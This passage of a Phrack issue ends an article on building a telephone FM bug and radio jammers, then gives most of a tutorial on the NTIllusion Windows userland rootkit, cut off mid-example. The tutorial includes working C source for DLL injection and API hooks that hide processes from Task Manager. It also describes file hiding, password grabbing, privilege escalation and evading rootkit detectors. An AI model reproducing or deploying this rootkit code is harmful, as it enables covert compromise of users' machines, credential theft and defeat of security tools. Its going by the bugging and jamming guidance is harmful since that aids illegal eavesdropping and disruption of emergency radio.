- inductor should be about 8 turns of wire
- aerial should be about 5 inch long

By interchanging the varator with a crystal, or by using a variable capacitor, the frequency band on which the bug transmits line activity could be changed accordingly. The varactor making up part of the oscillator circuit is intended to alter the frequency of oscillation, depending on the audio signal inputted from the green wire of the telephone line. The varactor diode can be thought of as an electrically variable capacitor, which in this case alters its capacitance in sympathy with the audio frequency on the telephone line -- causing for change of oscillation frequency, and thus frequency modulation.
The following op-amp provides additional strength to the signal, in an attempt to avoid a weak, unreliable signal. For user-friendly purposes, the LED connecting to the red wire of the line pair should illuminate when a signal is present on the line.

The above circuit can be modified to be made more efficient, and a longer aerial is an obvious way of lengthening the range of transmission. If a phreak was to contruct and use a device like this, all they would need is an FM radio to tune into the correct frequency. There are much better designs than the minimalistic one above -- if a practical FM telephone bug is required, many plans are available.

----[4.3 - Jamming

Technically, all it takes to carry out 'radio jamming' is to transmit noise at a desired frequency. For example, if a person in the UK were to transmit RF noise at 30MHz+, police radio communications could possibly disrupted. Although the principles are mostly the same, there are several different types of jamming.

- modulated jamming
  This consists of mixing different types of modulation, and transmitting the results at a desired radio frequency. This is designed to make receiving legimate radio signals hard or next to impossible.

- CW (continuous wave)
  CW jamming only involves transmitting a consistant carrier frequency once tuned into a RF frequency/band you want to jam. This again makes receiving desired radio signals particuarly hard.

- Broadband
  Broadband jammers spread Gaussian noise across a whole band of audio frequencies, blocking legimate audio signals from easy receival.

A basic radio transmitter is easily modifiable, by adding a noise generator, to successfully jam arbitrary frequency bands. Many other types of radio jammers exist, and their details are readily available on the World Wide Web.

--[5 - Conclusion

Radio is an extremely useful technology, which is at least as old as the atom. But we are only just beginning to exploit its full usefullness in even new and up and coming technology, and probably will do for the next few hundred years.

    As we've discovered, contrary to popular belief, employing the use of
radio in electronic circuits isn't at all as complicated as one would
think. Because of this, the use of radio and be both used and
exploitfully abused -- only a few basic principles need to be
understood to make use of this wonderful technology. Although the
surface has only been scratched, and way forward is open.

--[6 - Bibliography

Phrack 60
Low Cost and Portable GPS Jammer
<http://www.phrack.org/phrack/60/p60-0x0d.txt>

The Art of Electronics
<http://www.artofelectronics.com>

Updates to the article:
http://nettwerked.co.uk/papers/radio.txt

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x0c of 0x10

```
|=---------=[  NTIllusion: A portable Win32 userland rootkit  ]=--------=|
|=----------------------------------------------------------------------=|
|=------------------=[  Kdm <Kodmaker@syshell.org>  ]=------------------=|
```

This paper describes how to build a windows user land rootkit. The first
part deal with the basis and describe a few methods to show how code
injection and code interception are possible, while the rest of the paper
covers the strategy that makes stealth possible in userland. A bigger
version of the paper is also available at [1] so that novice peoples can
refer to a preliminary article about injection and interception basics.

Table of contents

```
1. Introduction
2. Code Injection and interception
        2.1. System Hooks
        2.2. CreateRemoteThread
        2.3. Manipulating thread's context
        2.4. Redirecting the Import Address Table
        2.5. Inserting an unconditional jump (jmp)
3. User land take over
        3.1. User land vs Kernel land rootkits
        3.2. Restrictions...
        3.3. ...and constraints
        3.4. Setting a global hook to take over userland
        3.5. Local application take over
4. Replacement functions
        4.1. Process hiding
        4.2. File hiding
        4.3. Registry
        4.4. Netstat like tools.
             4.4.1. The case of windows 2000
                  4.4.1.1. Hooking GetTcpTable
                  4.4.1.2. Defeating netstat
                  4.4.1.2. Defeating Fport
             4.4.2. The case of windows XP
        4.5. Global TCP backdoor / password grabber
        4.6. Privilege escalation
        4.7. Module stealth
5. Ending
        5.1. Conclusion
        5.2. Greets
6. References
```

-------[1. Introduction

A rootkit is a program designed to control the behavior of a given
machine. This is often used to hide the illegitimate presence of a
backdoor and others such tools. It acts by denying the listing of certain
elements when requested by the user, affecting thereby the confidence that
the machine has not been compromised.

There are different kinds of rootkits. Some act at the very bases of the
operating system by sitting in kernel land, under the privileged ring 0
mode. Some others run under lower privileges in ring 3 and are called user
land rootkits, as they target directly the user's applications instead of
the system itself. These ring 3 rootkits have encountered a recrudescence
the last years since it is somewhat more portable and polyvalent than ring
0 ones.
As there are multiple ways to stay unseen under windows, this article
performs a windows rootkitting tutorial based on a strong implementation
called the [NTillusion rootkit] which fits maximum constraints.

This rootkit has been designed to be able to run under the lowest

privileges for a given account under windows. Indeed, it doesn't use any
administrative privilege to be able to perform its stealth as it resides
directly inside processes that are owned by the current user. In a word,
all the ring 3 programs that a user might use to enumerate files,
processes, registry keys, and used ports are closely controlled so they
won't reveal unwanted things. Meanwhile, the rootkit silently waits for
passwords, allowing the load of any device driver as soon as an
administrator password is caught.

How does this works?
All this stuff is done in two steps. First, by injecting the rootkit's
code inside each application owned by the current user and finally, by
replacing strategic functions by provided ones. Theses tricks are
performed at run time against a running process rather than on hard disk
on binaries since it allows to work around the windows file protection,
antiviral and checksum tools as well. The rootkit has been tested
successfully under windows 2000/XP, but may also run on older NTs. It's
architecture allows it to be ported to windows 9x/Me but some functions
are missing (VirtualAllocEx) or behave abnormally (CreateRemoteThread) on
this version of the OS.

This introduction would not have been achieved without comments about the
different sections of the paper that present each special characteristics.
Section 3 deals about user land take over. This mechanism has already been
presented by Holy_Father in [HIDINGEN]. However it is here done in a
different way. In fact, the rootkit acts globally a level higher so things
are changed and it results in a somewhat simpler but efficient spreading
method. And contrary to Hacker Defender ([HKDEF_RTK]), NTillusion does not
need the administrative privilege. So the approach I propose is different.
This approach is also different when speaking about the way functions are
chosen and replaced.
This is the case with section 4 which introduces an uncommon way to
replace original functions. On one hand, the functions are most of the time
replaced at kernel level. So, I hope this paper shows that performing a
good stealth is possible also in userland. On the other hand when thinking
about API replacement, people try to dig as much as possible in order to
hook at the lowest level. This is sometimes a good thing, sometimes not.
This is especially true with portability, which suffers from this run to
low level. NTillusion replaces top level APIs as often as possible.
As windows designers want programs that rely on the documented API to be
portable from one windows version to another, and as the rootkit hijacks
critical functions among this documented API, portability is accrued.
Thereby there's no need to perform OS version check and it results in a
more universal rootkit. Added to that, this section offers a new way for
privilege escalation by showing how hooking the POP3/FTP traffic is
possible in order to get login and passwords.

This is not the only new thing: section 4.7 offers a new way to hide a DLL
loaded inside a given process. Usually, this would have been done by
hooking modules enumeration APIs inside the memory space of each process
able to reveal the rootkit. However I show how this is possible to do this
by dealing directly with undocumented structures pointed by the Process
Environment Block. Once this has been done, there's not need to worry
about subsequent detection. To test this method I downloaded a rootkit
detector, [VICE], and scaned my system. With no rootkit loaded, VICE
produced most of the time some false positive for standart DLLs (kernel32/
ntdll/...). Once the rootkit was loaded and using this technique, there
was no noticable change and VICE was still accusing some system DLLs to be
rootkits as before but there was no record about kNTIllusion.dll that was
however doing the job efficiently.

-------[2. Code Injection and interception

The goal of this section is to allow a process to replace the functions
of another. This involves getting control of the target process, then
to replace parts of it's memory carefully. Let's begin with code injection.
So altering the behavior of a process requires to break into it's memory
space in order to execute some code to do the job. Fortunately, windows
perfors checks to prevent an application to read or write memory of an

other application without its permission. Nevertheless the windows
programmers included several ways to bypass the native inter-process
protection so patching other processes' memory at runtime is a true
possibility. The first step in accessing a running process is done trough
the OpenProcess API. If the application possesses the correct security
permissions, the function returns a handle to deal with the process, in
the other case, it denies access. By triggering a proper privilege, a user
may get access to a privilegded process as we'll see later. In Windows NT,
a privilege is some sort of flag granted to a user that allows the user to
override what would normally be a restriction to some part of the
operating system. This is the bright side. But unfortunately there is
also a seamy side. In fact there's multiple ways to break into the memory
space of a running process and running hostile code in it, by using
documented functions of the windows API. The following methods have
already been covered in the past so I will only give an overview.

-------[2.1. System Hooks
The most known technique uses the SetWindowsHookEx function which sets a
hook in the message event handler of a given application. When used as a
system hook, i.e. when the hook is set for the whole userland, by relying
on a code located in a dll, the operating system injects the dll into each
running process matching the hook type. For example, if a WH_KEYBOARD hook
is used and a key is pressed under notepad, the system will map the hook's
dll inside notepad.exe memory space. Easy as ABC... For more information
on the topic, see [HOOKS] and [MSDN_HOOKS]. Hooks are most of the time
used for developping pacthes or automating user manipulations but the
following method is from far more eloquent.

-------[2.2. CreateRemoteThread
Another gift for windows coders is the CreateRemoteThread API. As its name
points out, it allows the creation of a thread inside the memory space of
a target process. This is explained by Robert Kuster in [3WAYS].
When targeting a process running in a more privileged context, a rootkit
may acquire God Power by activating the SeDebugPrivilege. For more
information see the rootkit code. [NTillusion rootkit]
Although this method seems interesting, it is from far widespread and easy
to defeat using a security driver. See also [REMOTETH] for other info.
More over, any injected DLL with this method will be easily noticed by
any program performing basic module enumeration. Section 4.7 offers a
solution to this problem, while the following section presents a less
known way to run code inside a target process.

-------[2.3. Manipulating thread's context
CreateRemoteThread isn't the only debugging API that may be used to
execute code into a target process. The principle of the following
technique is to reroute a program's execution flow to malicious code
injected in the program's memory space. This involves three steps.
First, the injector chooses a thread of this process and suspends it.
Then, it injects the code to be executed in the target process memory as
before, using VirtualAllocEx/WriteProcessMemory, and changes a few
addresses due to changes in memory position. Next, it sets the address of
the next instruction to be executed for this thread (eip register) to
point to the injected code and restarts the thread. The injected code is
then executed in the remote process. Finally it arranges for a jump to the
next instruction that should have been executed if the program had
followed its normal course, in order to resume its activity as soon as
possible. The idea of manipulating the thread's context is exposed in
[LSD]. Other methods also exist to trigger the load of a given DLL inside
the memory space of a target process.
By design, the HKEY_LOCAL_MACHINE\Software\Microsoft\WindowsNT\Current
Version\Windows\AppInit_DLLs key gathers the DLL to be loaded by the
system inside each process relying on user32.dll. Added to that come the
BHO, standing for browser help objects, that act as plugins for web-
browsers, enabling the load of any sort of code.

But just taking over a process is not enough...
Once the target process' memory space is under control, it's possible

```
to replace its own functions by provided ones.
Code interception routines are critical since they had to meet efficiency
and speed requirements. The methods presented in this section have their
own advantages and drawbacks. As for the injection techniques, there's
more than one way to do the job. The goal of the methods is to redirect
another program's function when it is loaded in memory. For the target
program, everything takes place as if it had called the desired functions
as usual. But in fact the call is redirected to the replacement API.
Some methods of API interception are based on features intentionally
provided by the designers of the PE format to simplify the loader's task
when a module is mapped into memory. The function redirection takes place
once the code we inject into the target process is executed. To understand
how these methods work, a thorough understanding of the PE format is
needed; see [PE] and hang on with courage, the following methods are
useful.


-------[ 2.4. Redirecting the Import Address Table
After injecting our code into the application's memory space, it is
possible to change its behavior. We use a technique called "API hooking"
which involves replacing the API by our own routines. The most common way
to do this is to alter the import address table of a given module.
When a program is executed, its various zones are mapped into memory, and
the addresses of the functions it calls are updated according to the
windows version and service pack. The PE format provides a clever solution
to do this update, without patching every single call. When you compile
your program, each call to an external API is not directly pointing to the
function's entry point in memory. It is using a jump involving a dword
pointer, whose address is among a table called the Import Address Table
(IAT), since it contains the address of each imported function. At load
time, the loader just needs to patch each entry of the IAT to modify the
target of each call for all API.
Thus, to hijack, we simply patch the IAT to make the memory point to our
code instead of the true entry point of the target API. In this way, we
have total control over the application, and any subsequent calls to that
function are redirected. This general idea of the technique which is
detailed more in [IVANOV] and [UNLEASHED]. But hooking at IAT level is
from far a non secure way. Undirect Call may be missed. To prevent this,
there's only one solution... inserting an unconditional jump!


-------[ 2.5. Inserting an unconditional jump (jmp)
This technique involves modifying the machine code of a given API so that
it executes an unconditional jump to a replacement function. Thus any call
 direct or indirect  to the hooked API will inevitably be redirected to
the new function. This is the type of function redirection used by the
Microsoft Detours Library [DETOURS]. In theory, redirection by inserting
of an unconditional jump is simple: you simply locate the entry point of
the API to be hijacked an insert an unconditional jump to the new
function. This technique make us lose the ability to call the original
API, however; there are two ways to work around that inconvenience.
The first is the method used in the famous hxdef rootkit, or Hacker
Defender which is now open source [HKDEF_RTK]. The idea is to insert an
unconditional jump while saving the overwritten instruction in a buffer
zone. When the original API must be called, the redirection engine
restores the real API, calls it, then repositions the hook. The problem
with this technique is that it is possible to lose the hook. If things go
wrong, there is a chance that the hook will not be restored when exiting
the API. An even bigger risk is that another thread of the application may
access the API between the time it is restored and the time when the hook
is repositioned. Thus, as its creator Holy_Father knows, there is a chance
that some calls may be lost when using this method.

However, there is another solution for calling the original API. It
involves creating a buffer containing the original version of the API's
modified memory zone, followed by a jump to and address located 5 bytes
after the start of the zone. This jump allows to continue the execution of
the original function just after the unconditional jump that performs the
redirection to the replacement function. It seems simple?
```

No, it isn't. One detail that I voluntarily left out until now: the
problem of disassembling instructions. In machine code, instructions have
a variable length. How can we write an unconditional five-byte jump while
being sure not to damage the target code ("cutting an instruction in
half")? The answer is simple: in most cases we just use a basic
disassembly engine. It allows to recover as many complete instructions as
required to reach the size of five bytes, i.e. the area just big enough
the insert the unconditional jump. The useful redirection engine used in
the rootkit is the one created by Z0MbiE (see [ZOMBIE2]).
This hooking method, somewhat particular has been covered by Holy_Father.
Refer to [HKDEF] if you are interested.
Hum, That's all folks about prerequisite. Now we're going to consider how
to build a win32 rootkit using these techniques. Le'ts play!

-------[3. User land take over
-------[3.1 User land vs Kernel land rootkits
Most of the time, to achieve their aim kernel land rootkits simply replace
the native API with some of their own by overwriting entries in the
Service Descriptor Table (SDT). Against a normal windows system, they
don't have to worry about persistence as once the hook is set, it will
hijack all subsequent calls for all processes. This isn't the case for
win32 ring 3 rootkits, acting at user level. In fact, the hook isn't
global as for kernel ones, and the rootkit must run its code inside each
process able to reveal its presence.
Some decide to hook all processes running on the machine including those
of the SYSTEM groups. It requires advanced injection techniques, hooking
methods and to target API at very low level.
Let me explain. Consider we want some directories not to be noticed when
browsing the hard drive using explorer. A quick look at explorer.exe's
Import Table reveals that it is using FindFirstFileA/W and FindNextFileA/W
So we may hook these functions. At first it seems tedious to hook all
these functions rather than going a level under. Yeah, these functions
rely on the native API ntdll.ZwQueryDirectoryFile, it would be easier to
hook this one instead. This is true for a given version of windows. But
this isn't ideal for compatibility. The more low level the functions are,
the more they're subject to change. Added to that, it is sometimes
undocumented. So on the one hand, there's hijacking at low level, more
accurate but somewhat hazardous, and on the other hand, hijacking at high
level, less accurate, but from far simpler to set up.

NTillusion hijacks API at high level since I never designed it to reside
into system processes. Each choice has a bright side and a seamy side.
The following points describe the restrictions I wanted the rootkit to fit
and the constraints windows imposes to processes.

-------[3.2 Restrictions...
The rootkit is made to be able to perform its stealth for the current user
on the local machine. This is especially designed for cases where
administrator level is unreachable for some reason. This shows that
getting root is sometimes not necessary to be lurking. It represents a
true threat in this case, since windows users have the bad habit to set
their maximum privilege on their account instead of triggering it using
runas to become admin only when needed. So, if the user is not currently
admin, he probably isn't at all, so a user land rootkit will perfectly do
the job. Otherwise, it's time to go kernel mode.
Thus, the rootkit is designed to only require privileges of the current
user to become unseen to its eyes, whether this is an admin or not. Then
it starts waiting for passwords collected by users using the runas method,
allowing privilege escalation. It may also spy web traffic to dynamically
grab pop3/ftp passwords on the fly. This is possible but a little bit too
vicious...

-------[3.3 ...and constraints
As you should now know, windows maintains a native inter-process
protection so a process won't access another if this one doesn't belong to
its group or does not present the administrator nor debug privilege. So

the rootkit will be restrained to affect processes of the current user.
Contrariwise, if it got admin privilege, it may add itself to the
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run key and
hide its presence, being then active for all users on the machine.
Due to the rootkit architecture, privileged processes will be able to see
the system as it really is. So remote administration may reveal the
rootkit, as much as FTP or HTTP servers running as services. The solution
of this problem is to affect also system processes but the task is
somewhat desperate and too considerable to just play the game of cat and
mouse.

-------[3.4 Setting a global hook to take over userland

To be efficient, the rootkit must run under all visible applications that
may reveal unwanted presence. Performing an injection try for each running
process when the rootkit loads is not a good idea since it won't affect
processes that would be run later. A perfect way to achieve this is to set
a system wide hook, using SetWindowsHookEx for WH_CBT events. Therefore,
the rootkit's dll will be injected into all running graphical processes,
as soon, as they appear on screen. Unfortunately, the WH_CBT concerns only
processes using user32.dll, therefore it won't affect some console
programs. This is the case of windows cmd, netstat, and so on. Thereby,
the rootkit must also affect processes so that it will be notified and
injected when a process creation is about to be done. This is achieved by
hooking the CreateProcessW function into all injected processes. This way,
the rootkit will be running inside any newly created process. The
CreateProcessW replacement and the system hook are complementary methods.
This combination perfectly covers all situations : the execution of a
graphical or console process from explorer, the taskmanager or any other
application. It also has the advantage to inject the rootkit into the
taskmanager when the user triggers Ctrl+Alt+Del. In this case, the
taskmanager is created by winlogon which isn't hijacked by the rootkit.
But the system hook is injected into as soon as it is created, since it is
a graphical process. To prevent a process from being injected twice, the
rootkit modifies pDosHeader->e_csum to be equal to NTI_SIGNATURE. When the
Dll is loaded it first checks the presence of this signature and exits
properly if needed. This is only a safety since a check is performed in
DllMain to be sure that the reason DllMain is called matches
DLL_PROCESS_ATTACH. This event only triggers when the DLL is first mapped
inside the memory space of the application, while subsequent calls to
LoadLibrary will only increase load counter for this module and be marked
as DLL_THREAD_ATTACH.

The following code is the CreateProcessW replacement of the NTIllusion
rootkit. It contains a backdoor by design: if the application name or its
command line contains RTK_FILE_CHAR, the process is not hooked, thus
allowing some programs not to be tricked by the rootkit. This is useful to
launch hidden processes from windows shell that performs a search before
delegating the creation of the process to CreateProcessW.

```
----------------------   EXAMPLE 1   -----------------------------
BOOL WINAPI MyCreateProcessW(LPCTSTR lpApplicationName,
LPTSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes, BOOL bInheritHandles,
DWORD dwCreationFlags, LPVOID lpEnvironment,
LPCTSTR lpCurrentDirectory, LPSTARTUPINFO lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation)
{
        int bResult, bInject=1;
        char msg[1024], cmdline[256], appname[256];


/* Resolve CreateProcessW function address if it hasn't been filled
by IAT hijack. This happens when the function isn't imported at IAT
level but resolved at runtime using GetProcAddresss. */

        if(!fCreateProcessW)
        {
        fCreateProcessW = (FARPROC)
                fGetProcAddress(GetModuleHandle("kernel32.dll"),
                                "CreateProcessW");
                if(!fCreateProcessW) return 0;
        }

        /* Clear parameters */
        my_memset(msg, 0, 1024);
        my_memset(cmdline, 0, 256);
        my_memset(appname, 0, 256);

        /* Convert application name and command line from unicode : */
        WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
          lpApplicationName, -1, appname, 255,NULL, NULL);
        WideCharToMultiByte(CP_ACP, 0,(const unsigned short *)
          lpCommandLine, -1, cmdline, 255,NULL, NULL);

        /* Call original function first, in suspended mode */
        bResult = (int) fCreateProcessW((const unsigned short *)
                        lpApplicationName,
                        (unsigned short *)lpCommandLine, lpProcessAttributes,
                        lpThreadAttributes, bInheritHandles, CREATE_SUSPENDED
                        /*dwCreationFlags*/, lpEnvironment,
                    (const unsigned short*)lpCurrentDirectory,
                    (struct _STARTUPINFOW *)lpStartupInfo,
                        lpProcessInformation);

        /* inject the created process if its name & command line don't
   contain RTK_FILE_CHAR */
        if(bResult)
        {
                if(
                (lpCommandLine && strstr((char*)cmdline,(char*)RTK_FILE_CHAR)) ||
                (lpApplicationName && strstr((char*)appname,(char*)RTK_FILE_CHAR))
          )
        {
                        OutputString("\n[i] CreateProcessW: Giving true sight to
                        process '%s'...\n", (char*)appname);
                        WakeUpProcess(lpProcessInformation->dwProcessId);
                        bInject = 0;
                }
                if(bInject)
                    InjectDll(lpProcessInformation->hProcess,
                              (char*)kNTIDllPath);

                CloseHandle(lpProcessInformation->hProcess);
                CloseHandle(lpProcessInformation->hThread);

        }
        return bResult;
}
---------------------- END EXAMPLE 1 -----------------------------
```

Note that the child process is created in suspended mode, then injected by
the Dll using CreateRemoteThread. The DLL hook function next wakes the
current process up by resuming all its threads. This assures that the
process has not executed a single line of its own code during the hijack
time.

-------[3.5 Local application take over
Being injected into all processes in the system is the first step to take
the ownership of user land. When being able to act anywhere, it must keep
its control and prevent any newly loaded module to escape the function
hooking that has been set in order to hide unwanted things. So it is
strongly recommended to filter calls to LoadLibraryA/W/Ex in order to hook
modules as soon as they are loaded into memory. The following function
demonstrates how to replace LoadLibraryA in order to prevent hooking
escape.

```
----------------------   EXAMPLE 2   -----------------------------
/* LoadLibrary : prevent a process from escaping hijack by loading a new
dll and calling one of its functions */
```

```
HINSTANCE WINAPI MyLoadLibrary( LPCTSTR lpLibFileName )
{
        HINSTANCE hInst = NULL; /* DLL handle (by LoadLibrary)*/
        HMODULE   hMod  = NULL; /* DLL handle (by GetModuleHandle) */
        char     *lDll = NULL;          /* dll path in lower case */

        /* get module handle */
        hMod = GetModuleHandle(lpLibFileName);

        /* Load module */
        hInst = (HINSTANCE) fLoadLibrary(lpLibFileName);


        /* Everything went ok? */
        if(hInst)
        {

                /*  If the DLL was already loaded, don't set hooks a second
                    time */
                if(hMod==NULL)
                {
                        /* Duplicate Dll path to perform lower case comparison*/
                        lDll = _strdup( (char*)lpLibFileName );
                        if(!lDll)
                                goto end;
                        /* Convert it to lower case */
                        _strlwr(lDll);

                        /* Call hook function */
                        SetUpHooks((int)NTI_ON_NEW_DLL, (char*)lDll);

                        free(lDll);
                }
        }

end:
  return hInst;
}
---------------------- END EXAMPLE 2 ----------------------------
```

As the hijacking method used is entry point rewriting, we must check that
the DLL has not been yet loaded before performing the hooking. Otherwise,
this may trigger an infinite loop when calling the original function. The
job is partially done by SetUpHooks that will perform the hooking on
already loaded module only at program startup.

About GetProcAddress:
At first NTillusion rootkit was using an IAT hijacking method in order to
replace file, process, registry and network APIs to perform its stealth.
Under winXP, all worked perfectly. But when I tested it under win2000 I
noticed a unusual behaviour in explorer's IAT. In fact, the loader doesn't
fill the IAT correctly for a few functions such as CreateProcessW, so the
address written doesn't always correspond to the API entry point
[EXPLORIAT]. Scanning the IAT looking for API name instead of it's address
does not solve the problem. It seems that explorer is performing something
strange... So I moved from an IAT hijacking engine needing to hook
GetProcAddress in order to prevent hook escape, to the unconditional jump
insertion that does not need to filter calls to this API. Anyway, you can
try to hijack GetProcAddress and send the details of each call to debug
output. The amount of GetProcAddress calls performed by explorer is
amazing and its study, instructive.

-------[4. Replacement functions

Here comes the most pleasant part of the NTIllusion rootkit, i.e. the core
of the replacement functions.

-------[4.1. Process hiding

The main target when speaking about process hiding is the taskmanager.
Studying its Import Table reveals that it performs direct calls to
ntdll.NtQuerySystemInformation, so this time, hijacking API at higher
level is useless and the situation leaves no choice. The role of the
replacement function is to hide the presence of each process whose image
name begins with RTK_PROCESS_CHAR string. Retrieving the processes list is
done through a call to the [NtQuerySystemInformation] API.

```
NTSTATUS NtQuerySystemInformation(
  SYSTEM_INFORMATION_CLASS SystemInformationClass,
  PVOID SystemInformation,
  ULONG SystemInformationLength,
  PULONG ReturnLength
);
```

The NtQuerySystemInformation function retrieves various kinds of system
information. When specifying SystemInformationClass to be equal to
SystemProcessInformation, the API returns an array of SYSTEM_PROCESS_
INFORMATION structures, one for each process running in the system. These
structures contain information about the resource usage of each process,
including the number of handles used by the process, the peak page-file
usage, and the number of memory pages that the process has allocated, as
described in the MSDN. The function returns an array of
SYSTEM_PROCESS_INFORMATION structures though the SystemInformation
parameter.

Each structure has the following layout:
```
typedef struct _SYSTEM_PROCESS_INFORMATION
{
    DWORD          NextEntryDelta;
    DWORD          dThreadCount;
    DWORD          dReserved01;
    DWORD          dReserved02;
    DWORD          dReserved03;
    DWORD          dReserved04;
    DWORD          dReserved05;
    DWORD          dReserved06;
    FILETIME       ftCreateTime;         /* relative to 01-01-1601 */
    FILETIME       ftUserTime;           /* 100 nsec units */
    FILETIME       ftKernelTime;         /* 100 nsec units */
    UNICODE_STRING ProcessName;
    DWORD          BasePriority;
    DWORD          dUniqueProcessId;
    DWORD          dParentProcessID;
    DWORD          dHandleCount;
    DWORD          dReserved07;
    DWORD          dReserved08;
    DWORD          VmCounters;
    DWORD          dCommitCharge;
    SYSTEM_THREAD_INFORMATION  ThreadInfos[1];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
```
Hiding a process is possible by playing with the NextEntryDelta member of
the structure, which represents an offset to the next SYSTEM_PROCESS_
INFORMATION entry. The end of the list is marked by a NextEntryDelta equal
to zero.

```
----------------------   EXAMPLE 3   -----------------------------
/*              MyNtQuerySystemInformation : install a hook at system query
level to prevent _nti* processes from being shown.
Thanks to R-e-d for this function released in rkNT rootkit.
(error checks stripped)
*/
DWORD WINAPI MyNtQuerySystemInformation(DWORD SystemInformationClass,
PVOID SystemInformation, ULONG SystemInformationLength,
                                                                   PULONG ReturnLength)
{
        PSYSTEM_PROCESS_INFORMATION pSpiCurrent, pSpiPrec;
        char *pname = NULL;
        DWORD rc;
        /* 1st of all, get the return value of the function */
        rc = fNtQuerySystemInformation(SystemInformationClass,
              SystemInformation, SystemInformationLength, ReturnLength);

        /* if sucessful, perform sorting */
        if (rc == STATUS_SUCCESS)
        {
                /* system info */
                switch (SystemInformationClass)
                {
                        /* process list */
                case SystemProcessInformation:
                        pSpiCurrent = pSpiPrec = (PSYSTEM_PROCESS_INFORMATION)
                                                   SystemInformation;

                        while (1)
                        {
                                /* alloc memory to save process name in AINSI
                                   8bits string charset */
                                pname = (char *) GlobalAlloc(GMEM_ZEROINIT,
                                    pSpiCurrent->ProcessName.Length + 2);

                                /* Convert unicode string to ainsi */
                                WideCharToMultiByte(CP_ACP, 0,
                                    pSpiCurrent->ProcessName.Buffer,
                                    pSpiCurrent->ProcessName.Length + 1,
                                    pname, pSpiCurrent->ProcessName.Length + 1,
                                    NULL, NULL);

                                    /* if "hidden" process*/
                                if(!_strnicmp((char*)pname, RTK_PROCESS_CHAR,
                                    strlen(RTK_PROCESS_CHAR)))
                                {
                                        /* First process */
                                        if (pSpiCurrent->NextEntryDelta == 0)
                                        {

                                            pSpiPrec->NextEntryDelta = 0;
                                                break;
                                        }
                                        else
                                        {
                                                pSpiPrec->NextEntryDelta +=
                                                      pSpiCurrent->NextEntryDelta;

                                                pSpiCurrent =
                                                (PSYSTEM_PROCESS_INFORMATION) ((PCHAR)
                                                pSpiCurrent +
                                                pSpiCurrent->NextEntryDelta);
                                        }
                                }
                                else
                                {
                                        if (pSpiCurrent->NextEntryDelta == 0) break;
                                        pSpiPrec = pSpiCurrent;

                                        /* Walk the list */
                                        pSpiCurrent = (PSYSTEM_PROCESS_INFORMATION)
                                        ((PCHAR) pSpiCurrent +
                                        pSpiCurrent->NextEntryDelta);
                                }

                                GlobalFree(pname);
                        } /* /while */
                        break;
                } /* /switch */
        } /* /if */

        return (rc);
}
```

```
---------------------- END EXAMPLE 3 -----------------------------
```

Previously I said that targeting NtQuerySystemInformation was the only solution. This is not entirely true. It's contrariwise sure that hooking Process32First/Next won't help but it's still possible to do otherwise. At first I chose to hook SendMessage, therefore hiding at ListBox control level. This is a very specific approach to the problem and is undocumented. Spying the behavior of the taskmanager on process creation with Spy++ shows that it uses the row telling about system idling process and changes its name to show the newly created process by sending a LVM_SETITEMTEXT message. So, first it overwrites the content of this ListBox item's line, and then add a new "Idle process" line by sending a LVM_INSERTITEMW message. Filtering these two types of message let us control what the taskmanager shows. Not very professional but efficient.

The following function replaces SendMessageW inside the task manager to prevent the program to send messages related to hidden process.

```
----------------------   EXAMPLE 4   ----------------------------
/* MySendMessageW : install a hook at display level (that is to say at
ListBox level) to prevent _* processes from being shown */
LRESULT WINAPI MySendMessageW(
HWND hWnd,               /* handle of destination window */
UINT Msg,                /* message to send */
WPARAM wParam,  /* first message parameter  */
LPARAM lParam)  /* second message parameter */
{
        LPLVITEM pit; /* simple pointer to a LVITEM structure */

        /* Filter events */
        if(     Msg==LVM_SETITEM || Msg==LVM_INSERTITEMW ||
        Msg==LVM_SETITEMTEXTW                              )
        {
                /* If process name starts by '_', hide it*/
                if( ((char)(pit->pszText))=='_' )
                {
                        hWnd=Msg=wParam=lParam=NULL;
                        return 0;
                }
        }

        /* in the other case, just call the genuine function */
        return fSendMessageW(hWnd,Msg,wParam,lParam);
}
---------------------- END EXAMPLE 1 -----------------------------
```

This very high level hook does the job but it will only work for taskmgr.exe.

-------[4.2. File hiding

Another frequently asked question is how to hide files. As explained above, I choose to hook FindFirstFileA/W and FindNextFileA/W. It is from far sufficient to defeat explorer view, the dir command, and all dialog boxes provided by the Common Controls.

According the [MSDN] the FindFirstFile function searches a directory for a file or subdirectory whose name matches the specified name.

```
HANDLE FindFirstFile(
  LPCTSTR lpFileName,
  LPWIN32_FIND_DATA lpFindFileData
);
```

The function takes two parameters. A null-terminated string that specifies a valid directory or path and file name, which can contain wildcard characters (* and ?): lpFileName, and a pointer to a WIN32_FIND_DATA structure that receives information about the found file or subdirectory.
If the function succeeds, the return value is a search handle used in a subsequent call to FindNextFile or FindClose.
If the function fails, the return value is INVALID_HANDLE_VALUE.

The FindFirstFile function is called to begin a file search. If it
succeed, the search may be pursued by calling FindNextFile.

```
BOOL FindNextFile(
  HANDLE hFindFile,
  LPWIN32_FIND_DATA lpFindFileData
);
```

The hFindFile parameter is a handle returned by a previous call to
FindFirstFile or FindFirstFileEx function. Like before, the lpFindFileData
points to a the WIN32_FIND_DATA structure that receives information about
the found file or subdirectory. The structure can be used in subsequent
calls to FindNextFile to see the found file or directory. The function
succeeds if it returns nonzero.

Let’s have a look at the WIN32_FIND_DATA structure. The important member
is cFileName which is a null-terminated string that specifies the name of
the file.

```
typedef struct _WIN32_FIND_DATA {
  DWORD dwFileAttributes;
  FILETIME ftCreationTime;
  FILETIME ftLastAccessTime;
  FILETIME ftLastWriteTime;
  DWORD nFileSizeHigh;
  DWORD nFileSizeLow;
  DWORD dwReserved0;
  DWORD dwReserved1;
  TCHAR cFileName[MAX_PATH];      /* full file name */
  TCHAR cAlternateFileName[14];   /* file name in the classic 8.3
                                     (filename.ext) file name format. */
} WIN32_FIND_DATA,
*PWIN32_FIND_DATA;
```

To perform a directory listing, an application calls FindFirstFile, and
then calls FindNextFile using the returned handle, until it returns zero.
The AINSI and WIDE functions (A/W) of FindFirst/NextFile operate similarly
except that the Wide version performs calls to WideCharToMultiByte, in
order to convert unicode strings to ainsi.

```
----------------------   EXAMPLE 5   -----------------------------
/* MyFindFirstFileA : hides protected files from file listing
   (error checks stripped)*/
